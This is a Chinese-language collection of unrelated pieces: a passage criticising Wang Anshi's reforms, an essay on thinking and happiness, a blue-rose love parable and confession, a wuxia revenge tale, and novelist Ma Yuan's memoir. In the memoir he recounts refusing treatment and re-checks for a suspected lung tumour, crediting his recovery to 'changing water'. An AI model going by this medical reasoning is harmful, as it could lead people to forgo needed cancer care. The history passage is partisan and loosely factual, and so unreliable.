在神宗继位时他才得到重用，加上有韩维给他的帮助很快便得到神宗的重用。终于有一天他和神宗有单独相处的机会，他提出了自己变革的思想，。当时神宗刚上位有智想当一个明智皇帝，兵强国富。由于王安石的变法迫使朝中的老臣纷纷离朝，继之身位的谏官都是王安石一群小人，王安石就职不久六开始大刀阔斧干了起来，虽然皇帝此时犹豫过但王安石口舌之辩都化解了皇帝的顾虑。
当时要垄断私有制，并由政府在春耕期间借款于农民，再收取高税。三种国营企业，三中新税，三种管制人民登记制度。
“青苗法”就是当时典型代表，有刚开始自愿变为迫使当时政府如果在新政上做的不好就会影响自己的仕途。王安石在新政前几年还把惨状掩饰对神宗不明真相，坚称他的土地改革政策颇获老百姓的支持，最后神宗还是在一个门吏的画中明白事实。画中半裸的男女正在吃草根树皮
，皇帝见到此画就掉下了眼泪，随后就废除了多项王安石的新法。
思考这玩意儿没你想的那般美妙（三）
思考这玩意儿没你想的那般美妙（三）
对，为了论证，快乐本身不能由思考“到底快不快乐”得到？我们一般会陷入一种矛盾，由于不快乐所以思考如何获得快乐，而思考快乐本身又让快乐走失而变得不快乐。这种变态的轮回将一直持续，就像摩天轮旋转不停的轨迹圈圈，又像捆着自己身体的一团麻线，缠绕着自己，越想使劲扯掉，反而束得越紧，陷入更加难受的境地。想要解决这种矛盾，我从卡普兰身上学到了一个词，逻辑！
逻辑存在的意义就是将我们从自相矛盾的国境中拯救出来，带入能够自圆其说的新境地。这是一条从认知失调，心理失衡到和谐融洽、思维清明的新道路。我们遇到的问题是，既获得了，又没获得，那到底获得了没有呢？这就好比，我既相信命运，又不相信命运，那到底是相信还是不相信呢？如果我们能够将自己的思考清楚地阐释出来，再通过调查审视澄清的方式将矛盾点剔除，那么就能将思考全部理清楚，从而达到终极目的。那时我们就能确定，什么是存在的，什么是不存在的，矛盾也将荡然无存。
对于逻辑，简言之，想要好多不同的东西，首先必须保证信仰的正确性。那么对于论题，思考快乐本身能不能够得到快乐这个命题是否正确就很关键。假如和一颗鸡蛋相比你更想要一个芒果，那么之后你就不能回过头来又想要鸡蛋，否则就会什么也得不到。首先我们同在食物层面对比，这是不矛盾的。其次，上面是什么意思呢？其实就是说，在对于获得快乐的途中我们只能够顺其自然本性去做生命本能会产生快乐的事情，让快乐自然而然诞生，而不能去思考快乐这件事。既不能去思考快乐这个问题，也不能去思考“去思考快乐这个问题”。我们都有过这样的一种经历，健康杂志说：每天自然捧腹大笑三声三次有助于身体健康”。当我们坐下来，试着让自己笑出来，但是没有成功。太认真了，实在没办法让自己笑出来啊。单纯依靠算计的人生不会有愉快的欢笑，也不会有宽慰的泪水，这样的人生了无生趣。
快乐不是能够算计的东西，如果按照方程式运算，计算出来如何能够更加快乐，那得到的东西就已经不是快乐了，而是模式化的程序垃圾。再比如创意，如果我们一直盘算着走到哪一步才算有创意，算计着在作品的哪里添一笔、哪里减一块更新颖，也就不再是有创意了，也同样成了预谋产生的庸俗之物罢了。快乐同创意这类东西本身，就是由于突如其来的产物，嘭的一声，忽然打乱了我们固定的生活模式，于是产生了这些东西。嘭的一声，礼物砸在了面前，产生了快乐；嘭的一声，灵感砸在了脑子上，产生了创意；嘭的一声，一个男人砸在了心里，产生了爱情。就是这么简单。
我想论证的观点其实是，纯净天然的东西，最珍贵，它们都是不经提炼加工的珍品。场景之所以撩人，一部分就源于敞开胸怀面对未知。如果你想生活中显得不傻，你大可以按照实践理性主义行事，只不过那样生活就会失去了创造力，失去了情欲，失去了信仰，失去了热情失去了给予和获得宽恕的机会，失去了投身于超越自我的更宏达的事情的机会，失去了自然而然、全心全意的生活方式，失去了真正活过一回的感受。但是没关系，起码这样，你不会显得很傻。
也不知我这种杂乱无章而又拮据聱牙的行文能够否传达出一点点有用的内容，不过我也脑疼，总是在半睡半醒之间，仿佛思绪飞回到光着屁股满街跑的四处释放天性的时代，那个时候，可不用这么烦恼，为了思考一点想不明白的东西就彻夜难眠，翻来覆去。幻想童年的美好，可是吃进去的饭会变成翔，会变成养分滋润躯体，还会促进肉体的自然发育。成熟的我们明知往事不可追，却不撞南墙不回头，这就是长大后，脑子七拐八弯的长畸形导致的结果。
一个个活生生的人还在佩服那些有深度思维，活跃思考能力的人，感觉他们脑洞大开，思绪乱飞，马达一开动，世界颤抖，殊不知，在他们眼里，不过是一堆鸡毛乱飞。其实，思考这个玩意儿，真没有你想的那般美妙！
拧发条鸟9.
蓝玫瑰的爱情
写这篇文章之前，我先讲个故事吧，朋友们有没有听过关于蓝玫瑰的故事：
从前有个男孩，很喜欢玫瑰，他种了各种不同颜色的玫瑰。男孩最爱蓝玫瑰。遗憾的是园里没长出蓝玫瑰。也许是因为蓝玫瑰是世间少有且珍贵之花。
男孩却一心想着种出蓝玫瑰，能送给心爱之人，有天，男孩在森林里救了个受伤的女孩，并把她带回家治伤。
后来，女孩爱上了男孩，男孩也爱上了女孩。他们结合了，过着幸福的生活。男孩还是很遗憾，他没办法送蓝玫瑰给女孩，不久，女孩知道了男孩的遗憾。
一天清晨，男孩醒来看到玫瑰园里长出了蓝玫瑰。他很开心，终于能把蓝玫瑰送给女孩。
某天，一场大雨过后，男孩看到玫瑰园里满地都是蓝色的泥水。而他心爱的蓝玫瑰都变成白色。任凭女孩怎样解释，男孩拂袖而去。
男孩离开了女孩，因为他无法忍受女孩的欺骗，无法相信女孩的感情。觉得一切都是伪造，花如此，感情亦是如此。
从此，女孩每天都在哭，她在玫瑰园里等待男孩。一天，两天，三天……很多天都过去了，男孩都没回来。
终于，女孩的眼泪都哭干了，她也一天天变得枯萎。而园里的玫瑰，也枯萎了。有天女孩又站在玫瑰园里哭，却流出蓝色的眼泪，泪滴在地上，枯萎的玫瑰开始复活。玫瑰园重复生机，满园都长满蓝色玫瑰，很美丽。
男孩终于明白，蓝玫瑰不是虚伪的爱情，只因女孩爱他，他忏悔了。
当他回来后，来到玫瑰园看到满园的蓝玫瑰，女孩却不见了。找遍了所有的角落，依旧没有找到。
玫瑰园里，有一朵特别美的蓝玫瑰，经常闪烁着露珠，就好像哭过的泪痕……
之前本来就钟情于蓝玫瑰，又听了关于蓝玫瑰的故事后，我便一发不可收拾地爱上蓝玫瑰。只要是跟我熟悉之人都知道蓝玫瑰是我最爱的花。通俗易懂地说，我更向往这种纯洁、美好的爱情。
我之所以如此钟爱蓝玫瑰，是因为它象征着:奇迹与不可能实现的事情，纯洁，透明！这是蓝玫瑰的花语。
正是因为这样我把对人生的渴望寄托予玫瑰来寻求灵魂的安慰，告诉自己只要你努力，坚持不懈人生总会有出现奇迹的一天！
三年前，我碰到了自己喜欢的男孩。但性格内向温和的我，一直压抑着自己的感情，不敢去表白，只是默默地做个田螺姑娘。为他做一切力所能及的事情。
我只敢在所有同事下班后，一个人偷偷摸摸地离开单位，怀里抱着他穿脏的工作服，鬼鬼祟祟地来到员工宿舍洗衣区，把他的衣服洗干净。第二天，害怕被别人发现，必然会早早起床，把衣服在原封不动地放在他原来的位置。
那天下雨，他刚好在值班，我又在外面。眼看他只剩下半个小时就要下班，而我为了能赶到他下班前把伞借给他，一路狂奔。任凭雨水往衣服，鞋子里钻。当我气喘吁吁赶到单位时，他早已离去。原来因为下雨，领导提前给员工放了半小时。
我在学校时，老师奖励了个很漂亮的笔记本，自己一直舍不得拿出来用。觉得无论写什么字，都配不上这么漂亮的本子。但就因为他无意中说的一句喜欢。我却很大方地送给他。而且装作满不在乎的样子说：我这样的本子多的是，你喜欢拿去好了。
我甚至把他的电话号记的比我家人还顺溜，并且疯狂地办了张新卡，尾号四位数跟他的相同，我正为自己的举动暗暗庆幸，被他发现后，劈头盖脸地收拾了我一顿，我只好换成以前的。
我惊天地泣鬼神的行为，终于让单位所有人都知道我喜欢他，可他却不为所动。因为我这样一个低文凭，出生寒门，长相不出众的女孩，即便是不为所动，也是情有可原。
那年刚好是春天，我脑门一发热，便去淘宝淘了株玫瑰苗回来。当时店小二告诉我说是蓝玫瑰。明明知道小二哥说了谎，可我还是激动不已，玫瑰苗回来后，我便把它挪移到红色瓷盆里，放在电脑旁窥视着它的一举一动。
从一棵小幼苗等到它的含苞待放，我整整精心呵护了2个月零23天，它倾注了我所有的爱。我期待着这株蓝玫瑰能够万花瞩目，高贵清雅，超凡脱俗的绽放。然后把它送给心爱之人。仿佛只有他才能与我的玫瑰相配。
当我还没有来得及向所有人证明，它却如期而至像火一样红的出现，它并不是湛蓝如水般清澈。倒像红唇般烈焰。我开始绝望，不是说它不是蓝玫瑰吗？
其实，打从一开始我就知道这本不是株蓝玫瑰，这世界根本就没有真正的蓝玫瑰，所谓的蓝玫瑰也只不过是人工染色后所形成的产物罢了，而这又怎么能怪我太过于执着呢？总以为，侥幸的以为，奇迹总有那么一天也会发生在我身上。
也正如有些事情，自己明明知道没有了退路，却还要做垂死挣扎；明明知道没有结果，却还要苦苦坚持。这样一个倔强的我你又怎么会懂？为的只是等待一个奇迹的发生！
当这株玫瑰以它那火红，鲜艳，娇媚，炙热的姿态展现给我娇艳欲滴的美时，我怎么不为之垂怜，为之倾醉！它美的就像爱情一样，最后却默默尽燃了一生。
所以，就算只是一朵红玫瑰，也不必自责，更不必内疚，我要你明白，即使这样，我依然爱你！
落字成霜
在东域，不知道问雨庭的，没有几个人。问雨庭妙公子可是一个百事通，只要一个故事，就可以获得一个了却心愿的机会。
当陈清第一次见到洛成栾时，觉得自己像在做梦，眼前的女子着秋香色长裙，上面的姬金鱼草刺绣精致而艳丽。皓腕上的玉镯平添了一抹清冷的色彩，发髻上除了一只扁雀簪以外别无他物，美艳绝伦。
洛成栾见竹塌上的男子盯着自己看，不由得好笑起来。遂问：“你是什么人，从哪里来的？”陈清回过神来，慌忙说到：“在下清河县人，因贩药来东域，结果路上遇到强贼，消蚀了本钱，因此不得还乡。昨天路过这里，见有一大片竹林，便想找点吃的，不想却迷了路。承蒙姑娘相救，姑娘大恩，小可必当涌泉相报。”
问明来由，成栾不由得送了一口气。对男子说：“你躺一会儿，我去给你弄点吃的。”
夜晚的竹林，神秘清幽。从竹林深处传来悠扬的琴声，像一位温柔若水的女子，在倾诉自己的衷肠。莲花座上点着幽幽的檀香，让人入梦。“早闻醉生梦死琴音动人，看来你修炼的不错！”成栾听闻这样的评价，内心泛起了涟漪。她嗔道：“清哥，你又瞎说。”陈清拍拍她的肩膀，由衷的赞叹道：“有人说我们云庭的雨姑娘弹琴好听，依我说，还不如你一零呢！”
成栾失了神，望着竹林道：“只可惜我注定一辈子待在这里，哪也不能去，为了保卫家园不受外敌侵害，我们必须用生命和忠诚去守护它，这是我们的使命，更是我们的信仰。”陈清听了，眼睛里闪过一丝奇怪的神情，马上就消失了。
两年前，东域梅林阁和西城谧云山庄分庭抗礼，为睦邻之邦。随着势力的不断壮大，西城城主打算将两大势力合并，但没有得到东域主人的许可。为了统一大业，西城城主动用了关系，诬陷程阁主谋反，东域的人一夕之间被屠戮殆尽，只有极少数的人逃出来，东域最终易主。
听江湖上来往的人说程阁主死后留下两件宝贝和两件兵器，只传给了他的心腹。得到他们二人的辅佐，即可安天下！
此说法一出，江湖上众说纷纭，大家都在寻找这两个人。西城主岳小满坐不住了，他派出了亲信，代号为西蕃莲的进行搜寻，务必要把人找出来！
岳小满看到陈清的飞鸽传书，脸上久违的阴转多云。他吩咐下人取一坛上好的女儿红，外加几样小菜。轻斟浅酌。再过不久，天下就是我的啦！他想着想着，就醉了。
竹林里，成栾在舞剑，与其说是舞剑，不如说是跳舞，剑法温柔又不失狠劲，技法娴熟精湛，翩若惊鸿，蜿若蛟龙。舞毕。陈清拍手称奇。对成栾说：“这是什么剑，真是世间仅有！”成栾理了理衣袖，得意的说：“这是渊虹剑。”陈清心中狂喜，终于找到了！他克制住自己的情绪，对成栾说：“我也要学，你可不可以教我？”成栾面露难色，“这剑是我家主人临终前所赐，本不能传人，除非是我最信任的人，才可破例！”
陈清没有再说什么，日子还是一天一天过去了，陈清本不想骗这个善良的姑娘，可是想起自己的父母还在岳小满手里，原本想摊牌的心就冷了下来。
眼看日子就快到了，岳小满对陈清下了最后通碟，让他将宝贝和兵器带回来，负责后果自负。陈清左右为难，心情差到了极点！成栾关切的问他怎么了，陈清痛滴了几滴眼泪，对成栾换上如花笑颜。玩世不恭的问道：“你愿意和我在一起吗？”成栾被吓到了，听着那些以前从没听过的话，看着身边潇洒俊朗的男子，她陷入了久久的沉默。
从来不知情为何物的人，遇到感情都会沦陷，成栾的心理防线一点一点被攻破，在她心中那个幻想了很久的梦，越来越真实。
女性在爱情方面的智商为零，这话一点不错，成栾发现自己渐渐的被陈清所吸引，他们朝夕相处，成栾信任他，将琴谱和剑谱都给了他，直到变故发生的那天。
事发突然，陈清提出要带成栾去见父母，他们住旅店时被人下了药，当成栾醒来时，惊异的发现自己居然身在西城地牢中，而岳小满身边的大护法，居然是陈清！在那一瞬间她清醒了，眼神恢复了原来冷酷，变的凌厉可怕。她颤抖着声音问：“一切都是你设计好的是不是？”陈清点点头。成栾发出大笑，绝望凄凉，她毅然决然的自爆气海。可怜如花似玉的美人，去的如此惨烈，如此触目惊心！
“这就是我要讲的故事，怎么样？值不值得你帮我？”问雨呡了口龙井，道：“没问题，一个故事换一个机会，划算。明天谧云山庄要开玲珑宴，我安排你以乐师的身份混进去，余下的就看你的造化了。”青衣女子作了一揖，扬长而去。
玲珑宴又名庆功宴，菜品繁复，赏心悦目。开宴前，照样是岳小满发言。今天的岳小满一袭月白长袍，青缎掐牙背心，青丝用白玉簪绾着，英气逼人。
岳小满手持酒杯，对大家说：“这碗酒赐给我们的大功臣――陈清，他既帮我们拿到了琴谱和剑谱，也帮我们除掉了一个心腹大患。来弟兄们，大家敬护法一杯！”陈清端起酒杯，象征性的喝了一口，就放下了，岳小满看出了陈清的异常，就让将歌舞排到前面来，为护法助兴。
来献舞的是当时著名的清倌人兰因，一曲舞毕，让人意犹未尽。牢骚也多起来，这时，一位穿天青色长裙，带玉色面纱的少女款款而来，启朱唇，开皓齿道：“小女不才，乃是兰因的闺塾师，若她的表现不够好，小女子为大家吹笛助兴可好？”
得到岳小满的首肯后，青衣女子取出竹笛缓缓的吹奏起来，曲调轻柔温和，这竹笛中似有一种特殊的魔力，在控制和摧残人的心智，过了一会玲珑宴上的人一个个的都撑不住，口吐鲜血，狼狈不堪。陈清拼命的压制住心神，抓起渊虹剑就刺过去，谁知青衣女子反应更快，将笛子中的玄关摁下，笛子变成了一把宝剑。挡住了致命的一击。
青衣女子剑法狠辣绝厉，招招致命，竟能与渊虹分庭抗礼。陈清越来越招架不住，败下阵来。
青衣女子将宝剑变成笛子，从香囊中掏出一枚冰魄丹，将其磨碎后泼到岳小满的身上，岳小满还没来的及看清女子的真容，就身首异处了。
陈清的伤口越来越疼，他拉过青衣女子的衣角向她责问，我们同你无怨无仇，也未曾取笑兰因姑娘，你为何与我们过不去？
青衣女子冷笑了一声，道：“洛水花开并蒂蕊，栾树冬飘万里霜。”你布了一个局，今天我还你一个，我手中的竹笛，叫招魂引，是醉生梦死的升级版，你手里的渊虹和我的残虹是一对，渊虹性情温和，残虹狠辣，我虽打不败你，你也休想伤我分毫！
青衣女子说，看你就剩一点时间了，我可以让你问一个问题，你想问什么就问吧。“告诉我你的名字，”陈清急了。青衣女子笑了笑，取下了面纱，在陈清惊讶的目光中，不紧不慢的说：“你听好了，我叫成霜，洛成霜！”
在64岁的时候，再回答一遍儿子的问题
0.命题的由来
1986年距今整整30年，上海滩鼎鼎大名的一本杂志《收获》刊出了一个出语惊人的小说《虚构》。说出语惊人是因为小说的起句：“我就是那个叫马原的汉人，我写小说。我喜欢天马行空，我的故事多多少少都有那么一点耸人听闻。”我就是那个马原。写小说的时候我想的不多，当然想不到日后几十年里，第一个句号前面的那十五个字居然成为我给自己的第一个定位。一次不经意的定位，居然一定就是几十年。
十五年以后，马原的儿子马大湾（时年14岁）还满脸稚气，却抛给老爸一个相当深刻的问题，“老爸，要是让你给自己做一个定位，你认为自己是怎么样的一个人？”
一向口若悬河的马原面对一个初中生（哪怕那是自己的儿子）完全可以不假思索，这会却噤口了。这不是个能让他张口就来的话题，他需要认真想一想再开口，他当真想了又想，还是在当天给了儿子一个答案。
因为在此之前，马大湾跟老爸认真的聊过自己的一个发现。马大湾发现在老爸和朋友们的聚会当中，老爸经常是说话最多的那个。你可以不说话，你可以是话痨话王，前提是别人能容忍你，或者愿意听你，再或者渴望听你。离开这个前提，如果你话多又无法自我遏制，你也只能自说自话。所以年龄尚小的马大湾认定老爸说的多，是因为听者有这个需求，认定聚会的人们之所以把说的机会出让给老爸，是因为喜欢听老爸侃侃而谈。因为聊过这个话题，所以马原对儿子的回答是：一个布道者。马原以牧师或者神父的职业自比，说这个世界有很多事情先只有少数人看到或者了解或者接受，之后先走一步的这个人会以自己的方式对周遭的人传布。当时马大湾点头了，一个14岁的孩子是否当真理解了小说家马原给自己的定位，很难说。
很有意思，马原自己也没想到15年之后这个男孩已经是另外一个小说家，已经完成了两部长篇小说。
那一次自我定位是出于被动，被诘问，而后硬性给问题一个回答。而这一次不同，时间又过了15年，这一次没有谁要马原给自己定位，是他自己想起来15年前的诘问，才有了一次主动出击，想到该拿自己做一次命题自说自话。或者你也可以做反向理解，如今的马原不再因为他人的倾听需求而说话；时过境迁，需求已经不复存在，于是为了排遣欲说还休的生理反应，他必得自说自话了。
他的现状会令许多同行们唏嘘不已。64岁；远离文化时尚中心，蜷缩在云南边境大山的一个v伲人山寨；罹患诸多重症；是一个7岁男孩（幼子）的老爹，老婆尚无谋生的职业；至今不会用电脑；已经从教职上退休。
有兴趣的读者朋友看看他会如何给自己定位呢？
1.一个病人
2008年3月初，上海的一家三甲医院（同济大学附属医院）放射线科出了一张片子，其上明确的标示出患者的右肺叶上有一颗直径170px*162.5px椭圆形肿瘤。3月中转上海另一家真正老字号肺病专科三甲医院（上海肺科医院）肿瘤科，成为正式病员。此前在同济医院的主诊医生是资深的教授级专家，在病员再三诚意的问询下坦陈病员该有心理准备，说以他的经验“十之八九”。
心理准备和十之八九已经表达了他对病员疾患的认知。之所以转院肺科，目的便是确诊和对症治疗。肺科医院的主诊医生是国内肺肿瘤领域的顶级专家，他给了病员检测确诊的第一套方案，做3到4次肺穿刺，取病灶化验确诊，之后根据结果制定治疗方案。病员无条件同意，也表达了全面配合治疗的态度。
但是一次穿刺之后，病员改变了想法，擅自决定从医院逃离，美其名曰“我的性命我做主”。按他进一步的解说，治得好的病可以治，治不好的病绝不强治，他认定自己得的是治不好的病。他说他不想与已经上身的疾病作对，他决定化敌为友与疾病和平共处，他为自己确定的对策是换水。他在上海生病，所以决意彻底离开上海。他选择了中国自然环境最少污染的海南落脚。他不止这么想想或者说说，他当真这么做了。上海奢华的新家（他新婚）就此成了一个空屋。
同济医院的检测给了他更多残酷的现实。他的从2004年罹患的糖尿病已经到了药物不起作用的程度；他的脑部有栓塞，随时可能中风；他的肝有严重囊肿（他最喜欢的食物是猪肚和猪大肠）；他的胆结石也早到了该手术的地步；他还有遗传自老母亲的相当严重的老烂腿（静脉曲张）。他其实早已经千疮百孔，尽管外表上人高马大，内里却一塌糊涂，完全可能在任一瞬间崩塌倒毙。
那以后大概两三年里，网上不时传出马原患肺癌或者因病去世的消息。那个病员就是马原，就是我。我在这里第一次郑重其事的辟谣：我的肺肿瘤从未被任一有权威的医院确诊为肺癌，因病去世是假消息，我活着。
我活着，而且活的很好，我比8年前刚发现生病的时候要健康，我的气色可以证实我当下的状况。
不争的事实是我因为生病离开了上海，离开了我钟爱的同济大学。我第一个回合为了换水到海南，第二个回合还是因为换水到了云南，我住在大山之上，家里就有属于自己的一泓山泉水。
几个最好的朋友都曾劝我去医院查一查，看那个坏东西是否还在，看我的换水理论是否真的奏效将肿瘤带走了。不那么要好的朋友则认定医院误诊了，庆幸我神经足够结实，没被误诊的绝症吓死。劝我去医院复诊的建议不止数十起。我反问我为什么要去复诊，他们的理由听来都差不多，说是让自己放心；我再问要是结果没让自己放心，反倒让自己更担心了怎么办？这下他们无话可说了。我不免得意，呵呵，看你们谁敢再让我去医院自讨没趣。
我现在住的地方离最近的医院也有四十分钟山路车程，别人不理解我一个重症缠身的退休老人，怎么会选择居住在医疗如此不方便的山上。我同样不理解，为什么别的老人会选择尽可能的住在医院近旁，或者索性住到医院里。
人吃五谷杂粮，谁能不生病呢？我们都是病人，至少都是一个潜在的病人。我愿意在有生之年离医院远远的，这一辈子再见不到医院才好。我知道没有另一个人这么想。
马原是一个病人，这一点确凿无疑。
2.一个庸俗又幸福的男人
这个男人有两个儿子。
成年的那个身高超过一米九，打从少年开始出门便人见人夸小伙子太帅了，17岁便开始在欧洲游学，精通多门外语，24岁便完成了自己的第一部长篇小说。
未成年的那个也帅，也是人见人夸，刚进了小学。
中国有句俗话，说30岁以前比老子，40岁以后比儿子。在当今中国有两个儿子的确值得夸耀，因为有两个孩子已经让许多人艳羡不已，两个都是儿子理所当然的令他自豪，两个又都是帅哥，就格外骄傲了。这是个追捧小鲜肉的时代，一个家庭有一个小鲜肉已经很牛了，还有另一个候补小鲜肉则绝对的奢侈了。幸福的标准之一。
之二。老婆温柔体贴贤惠，相比之下上面的三个形容词根本描绘不出她的美好。这么说吧，十年了，女人没有跟他吵过一句嘴。他渴的时候，一定有一杯他喜欢的茶在那里等着他。幼子的教育她一个人承担了全部，从早上起床准备早点，到送孩子到山下11里远的学校（如此一天三次四次），再到与老师和学校沟通，再到一日三餐洗澡换衣所有这些家常，她是个百分百称职的妈妈。
她比他年轻二十几岁，谁见了都会说他和她有夫妻相。很熟悉的朋友都知道这两公婆形影不离，公婆是她的方言，她不喜欢别人称她为太太或者夫人。更近的朋友丁当干脆称她是他的天使，说上天知道他有难，遣她下凡带他渡过他的大劫。她是百分百的贤妻，有贤妻的男人可不可以自诩幸福呢？
他如今在普洱茶核心产地的大山上，有一片砖红色屋顶的房子。他有自己的方尖碑形制的钟楼，每天敲上几回让悠远的钟声回荡在两山之间。他有属于自己的从巨石下流出的山泉，周遭有翠竹和古老的茶园相拥，每天由鸡犬之声决定起床和安眠的时辰，体味古人才有的情致和生命状态。他有一个上百平米的书房，有数千册他在凡几十年里亲手聚集起来的他所珍爱的图书相伴。他可以看书，也可以写书，也可以自由自在的思想。
他有满院子的家禽家畜，和野生的各种昆虫各种小动物。他的院子里生机勃勃。可以历数一下那些展示着生命多样化的诸多成员：可以从山上山下纵情飞翔的土鸡，这是一个巨大的群落，最盛时达到三位数；看家护院并且陪小主人玩耍的狼犬比特犬和杂种拉布拉多犬；前后九只大鹅小鹅白鹅灰鹅；池塘里大小数百条草鱼；四只山雉；六只孔雀；两只珍珠鸡。这些只是他们豢养的家禽家畜。
这个小院子里更多的是那些野生的动物植物。永远在竹篱笆上蹿下跳的长尾巴松鼠；在鱼塘周遭慢吞吞踱步的山蟹；簇拥在房子四围的蜂鸟是被她的那些鲜花和蔬菜花吸引而来（她的名字刚好也叫小花）。
每一年总有一个喧闹的家族造访，第一年是大黄蜂，第二年是叫不出名字的野蜂，第三年还是大黄蜂，第四年（幸运）是蜜蜂，第五年（未到，希望）还是蜜蜂。每个蜂群都不会沿用别人的蜂巢，它们总要为自己造一个新家。蜂群会把自己的家挂在房子的檐下。蜜蜂巢只有一个排球大小，野蜂巢堪比足球，比较之下大黄蜂巢是巨无霸了，其中一个足有两个篮球那么大。年年有蜂群光顾既有喜悦也有烦恼，喜的是蜂群驻脚证明了生态的完好，恼的是凡蜂必会蜇人，家里每年都有人遭受袭击，有家人也有宾客，主人一家三口无一幸免。
有道是宁可食无肉不可居无竹。院子里最多的是异常茂盛的竹，小院里至少有大几百株，高的有十几米；当地人称之为甜竹，其新笋是当之无愧的美味。房后的坡上是闻名天下的乔木普洱茶园，而房前的坡下被叶面硕大的旅人蕉和野山蕉所簇拥，整个建筑群落都掩映在如巨扇一般婆娑摇曳的绿影之中。
这个小寨子地处热带海拔1600米，常年温度在8摄氏度至24摄氏度之间。冬天不需要取暖，夏天用不到空调。他常以此自夸，声称人体最大的器官是皮肤，声称让皮肤舒服是生命里最大的享受。由此可以知道他是个知足常乐的男人。
他常常进一步自夸他的自由自在，而且偶尔会在网上晒他的无与伦比的自然环境，晒他的家禽家畜，晒他的老婆孩子，晒他的幸福。他是不是很可笑？这算什么幸福–他的人生也曾有过小小的辉煌，但是他没能发扬光大，没能让他的祖坟冒青烟没能升官发财耀祖光宗。他充其量只是个以阿Q精神为自己宽解愁肠的没出息的男人罢了。你们说他庸俗不庸俗？不要你们说，连我都认为他庸俗。但是臃ǎ幸福感是不由别人说的，他觉得他幸福他就是幸福，别人说他不幸福他还是幸福满满。
所以我说他是个庸俗的幸福男人。
3.一个哲学家
当然，这也是他自己的说法。他说上帝指定谁做哲学家，只需给他一场大病尽够了。他的理由是一个人需要每天每时每刻面对自己的生死，时时在活着还是死去这样严酷的命题拷问下，他不想当哲学家也不行。
而他原本就是个痴迷的形而上主义者，从小就关心所有那些没用的问题。据他自己说，他13岁就直面有神和无神这样的难题，15岁已经解决了唯心与唯物的纠缠。
儿时最让他着迷的是夜空，晴朗的夜空，因为晴夜会有清晰的星星和月亮。星月带给他无边的遐想和无尽的问题。他其实不关心天文学的课题，他关心的只是他和月亮和星星之间那段遥不可及且无法缩短的距离。他还关心小说和诗，关心自然界的种种奇妙。位移是他热情的焦点，无论是星月还是太阳的位移，还是萌芽到落叶的位移，还是婴儿到翁媪的位移，还是建筑从无到有的位移。只要有位移在，他都会投注精力充满热情。
老天真是厚待他，在他第一个一辈子（他以60年一甲子为一辈子的计量单位）行将结束的时候（虚59岁那一年）居然当真给了他一场大病，让他从此以后无可避免的终日去面对他自己的生和死，一举把他打入哲学家行列，让他的余生过足了当哲学家的瘾。
有趣的是，死亡的大考并未给他的内心带来可以想见的重创。死亡的阴影笼盖的当口，他意外的发现自己竟然没有丝毫的畏惧，他不怕它，这个发现令他狂喜。他当真不怕它，他唯一的担忧是他的女人。她还年轻，她刚刚嫁给他，刚刚开始她做女人的生涯。她那么善良，她不该有那么坏的命。他于是让她离开他，换一条生路，他企望也相信她该有更好的命。当然她不肯，不但不肯，而且坚持留在他身边，并且坚持生下属于他们的孩子。
这也是他的命。他命中注定要有一个天使一样的老婆。命，成了那一段日子里他遭遇的最频繁的单音词。一切都是命运，似乎是谁的诗句，是谁的呢？当然是北岛的。在远方的老朋友北岛，谢谢你。谢谢你无与伦比的诗句。
想一想，大病没能击碎他，没能击垮他，甚至没能击倒他。他只是一个凡夫俗子，他怎么可能不怕死呢？他当真不怕死。黑衣人没能够成功的恐吓住他。而且他居然敢从医院这个生命的保护伞下大摇大摆的荡出来，他居然敢有病不治，他从哪里偷来的熊心豹子胆？没人知道答案，他自己也不知道，他的确不知道。
他打小就精通雄辩之术（也可以称之为诡辩术），所以练就了一身奇异的真功夫，他自诩为相对论方法论。这套功夫像极了人们常说的没理辩三分之术，永远站到对手的对面。在他看来，永远将自己置于相对的站位，也就等同于先行取了主动；人与人之间的落差经常只在一念之间，也可以说在毫厘之间，先行取了主动的结果相当于将胜券握在手里。
久而久之这已经成了他的思维定式，无论遇到怎样的对手，遇到何种境况，他总是籍此将主动权操在自己手上。
后来他发现，这种思维方式是道地的逆向思维。逆向思维是导向意外世界的通道，比惯常思维更有力量，经常会看到惯常思维所无法窥见到的维度。这也是他在不经意当中总会比对手取得主动的奥秘。
自认为最了解他的一个女人，也是他的前妻，曾经毫不客气的说他：别人说你越来越随和了，你自己也自夸你成熟了世故了长大了越来越合群了，其实都是假象。别人不知道你，我还不知道你吗？你看事情想事情跟别人一点都不一样！说你随和了，那都是你装出来的。
天地良心，他没装，他就是她说的那样子，他已经恶习难改习惯成自然了。或者可以说，随着年龄的增长，他逐渐的将锋芒收拢，他不再随时随地与人作对。而年轻的时候他会随时随地与任一遇到的人顶牛，直至将对方逼成敌对的一方。他的该死的相对论方法论！虽然他为自己取了与爱因斯坦一样的立场，其实他与爱因斯坦绝无丝毫的共同之处。他甚至曾经狂妄的声称，倘若与爱因斯坦和庄子共处同一时空，他们三个人会是相知而且要好的朋友。
他又是如何答复面对病魔的大考呢？他的回答也简单也不简单。他说是有神和唯心两种儿时就建立起来的立场帮了他的忙。唯心令他认命，一切都是命运。有神则令他心悦诚服的接受命运的安排。一场大病，这就是他的命（是福不是祸，是祸躲不过），他深信人是抗不过命的。抗，无疑是徒劳的，既然是徒劳又何必勉强为之？治不好的病强要去治，结果可想而知。
所以这一次他选择了不治，选择了媾和。他对它以客相待，你来了，来了就来了，来的都是客。他不问它是怎么来的，他自己努力去想它可能是怎么来的？
他把它作为平等的生命个体看待，任一生命体内比重最大的成分是水，他于是想象它是借了水路来的，于是想象它也许会同样借了水路离开。他把想象当成了事实，不对它开刀手术，不对它用中药和西药更不用猛药（化疗），不对它采取物理手段（放疗）。它在他的身体里面，就像一个客人到他家里做客，他不给它这个不速之客任何脸色，更没有恶言恶语。或者可以说，他百分百取了和平共处之道，他希望它理解他的苦衷接受他的善意，他当真把它当成了朋友。
他选择的立场是有代价的。他担了万分之九千九百九十九的风险，因为他的选择走的是最险的一条路。万一呢？万和一，一对有趣的数字，他明显在铤而走险。今人早已经习惯了医学和医疗的概念，而医生的说辞经常是最令患者恐惧的达摩克利斯之剑：绝不能够贻误最佳治疗时机！
